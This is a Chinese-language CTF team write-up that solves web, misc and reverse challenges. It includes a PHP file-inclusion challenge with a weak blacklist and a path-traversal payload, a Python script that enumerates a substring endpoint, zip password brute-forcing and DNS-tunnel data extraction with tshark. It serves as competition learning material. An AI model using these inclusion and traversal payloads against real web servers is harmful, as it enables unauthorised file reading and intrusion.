Geek精神戰(zhàn)隊(duì) WriteUp(撰寫完成后導(dǎo)出為pdf文件提交至平臺(tái))
這次的CTF題目還是有點(diǎn)難度的,也沒有拿到特別好的成績(jī)(最后半小時(shí)被沖爛了),此WP僅供學(xué)習(xí)參考,大佬勿噴。
排名
戰(zhàn)隊(duì)名稱:第27名

解題思路
WEB
EzRCE
<?php
error_reporting(0); / 不報(bào)錯(cuò)回顯
highlight_file(__FILE__); / 高亮本文件內(nèi)容
if (!empty($_GET['PK'])){ / 如果GET請(qǐng)求中有PK參數(shù)則執(zhí)行以下代碼
$PK = $_GET['PK']; / 將GET請(qǐng)求中PK參數(shù)賦值于變量PK
/ 對(duì)blacklistFilter函數(shù)返回值進(jìn)行判斷
if(blacklistFilter($_SERVER["QUERY_STRING"])){ / $_SERVER["QUERY_STRING"]獲取
url?后面的參數(shù)
include $PK; / 文件包含變量PK的的參數(shù)
}else{
highlight_file(__FILE__);
}
}
/ 設(shè)置黑名單
function blacklistFilter($arg) {
$blacklist = array('[', ']', ';', '?', '@', '(', ')', 'exec', 'eval', '$',
'phpinfo', 'flag', 'data', 'filter', '#');
$filteredInput = str_replace($blacklist, '', $arg);
return $filteredInput;
}
?>
通過代碼審計(jì)得知,本題為文件包含漏洞,不過本題的黑名單似乎起不到作用依然可以使用黑名單中的字符串
Payload:http: //69780cc4.clsadp.com/?PK=. /. /. /. /. /. /. /. /flag

Mua
目錄掃描發(fā)現(xiàn)robots.txt文件,訪問/substr_pass.php,ctrl+u看源碼得到hint:?a=xx&b=xx
構(gòu)造payload:?a=1&b=1,發(fā)現(xiàn)是存在內(nèi)容的
構(gòu)造payload:?a=0&b=3、/substr_pass.php?a=0&b=3
發(fā)現(xiàn)回顯pas感覺快出來(lái)了,通過使用腳本來(lái)進(jìn)行循環(huán)請(qǐng)求
import requests
for i in range(0,100):
url = f'http://eacf8c61.clsadp.com/substr_pass.php?a={i}&b=3'
txt = requests.get(url).text
print(txt)
if 'hacker' not in txt:
print(txt[0])

腳本得到pass:password是富強(qiáng)民主文明和諧自由平等公正法制愛國(guó)敬業(yè)誠(chéng)信友善
直接去拼接URL得到flag

MICS
云纓
拿到題目,云纓,考慮到了諧音,且題目要求答案進(jìn)行md5加密作為flag,說(shuō)明答案是比較簡(jiǎn)單的,優(yōu)先考慮云影解密
8881088410842088810810842042108108821041010882108881
直接解出YUNYINGISEASY
MD5加密后即為flag{9edabf1448871181eb0e7133b5b3d701}

hack_dns
首先給了壓縮包,也不是偽加密,嘗試暴力破解,直接上最簡(jiǎn)單的1-6位純數(shù)字,直接爆出來(lái)密碼

解壓之后直接分析壓縮包,根據(jù)題目提示dns,直接過濾dns流量,發(fā)現(xiàn)解析的域名的三級(jí)域名很可疑,使用tshark導(dǎo)出
tshark -r flag.pcap -T fields -e dns.qry.name dns.flags.response==0 > output.txt

去重后得到字符串:640a0a780a0a680a0a790a0a7b0a0a366a0a0a0a0a650a300a0a630a0a6d0a0a310a0a6c0a0a360a0a780a0a380a0a390a0a370a0a300a0a330a0a330a0a690a0a670a0a300a0a610a0a310a0a720a0a680a0a340a0a300a0a390a0a310a0a350a0a760a0a360a0a350a0a390a0a7d0a0a
十六進(jìn)制轉(zhuǎn)字符串得到:
dxhy{6je0cm1l6x897033ig0a1rh40915v659}
先考慮維吉尼亞看看,附件還給了圖片,盲猜key是圖片隱寫,上steghide 默認(rèn)密碼解出key,進(jìn)行維吉尼亞解密得到flag


REVERSE
ezpython
使用pyinstxtractor進(jìn)行反編譯,得到pyc文件,補(bǔ)充缺失的Python 3.8 的 Magic Number 文件頭后使用在線工具對(duì)main.pyc進(jìn)行反編譯得到源碼

發(fā)現(xiàn)ctr1 += chr(ord(flag[i]) ^ 5)是個(gè)異或,使用工具進(jìn)行異或即可解出flag
獎(jiǎng)狀到啦??!獎(jiǎng)狀到啦!!獎(jiǎng)狀到啦!!獎(jiǎng)狀到啦!!獎(jiǎng)狀到啦?。—?jiǎng)狀到啦?。—?jiǎng)狀到啦??!獎(jiǎng)狀到啦?。—?jiǎng)狀到啦??!
